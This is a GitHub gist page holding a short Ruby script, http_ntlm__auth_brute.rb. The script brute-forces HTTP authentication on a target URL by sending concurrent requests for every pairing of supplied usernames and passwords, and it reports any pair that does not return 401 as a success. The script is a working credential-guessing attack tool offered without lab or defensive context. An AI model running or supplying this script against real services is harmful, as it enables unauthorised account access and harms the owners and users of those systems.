Skip to content

Instantly share code, notes, and snippets.

@ethicalhack3r
Created August 17, 2018 12:51
Show Gist options
  • Save ethicalhack3r/d95efe63e4158bea14b0f356bef769a7 to your computer and use it in GitHub Desktop.
Save ethicalhack3r/d95efe63e4158bea14b0f356bef769a7 to your computer and use it in GitHub Desktop.

Revisions

  1. ethicalhack3r created this gist Aug 17, 2018.
    27 changes: 27 additions & 0 deletions http_ntlm__auth_brute.rb
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,27 @@
    #!/usr/bin/env ruby

    require 'typhoeus'

    target_url = ARGV[0]
    usernames = File.read(ARGV[1]).split("\n")
    passwords = File.read(ARGV[2]).split("\n")

    hydra = Typhoeus::Hydra.new

    puts "Starting the brute force..."

    usernames.each do |username|
    passwords.each do |password|
    request = Typhoeus::Request.new(target_url, followlocation: true, userpwd: "#{username}:#{password}")

    request.on_complete do |response|
    puts "SUCCESS! #{username}:#{password} #{response.code}" unless response.code == 401
    end

    hydra.queue(request)
    end
    end

    hydra.run

    puts 'Done!'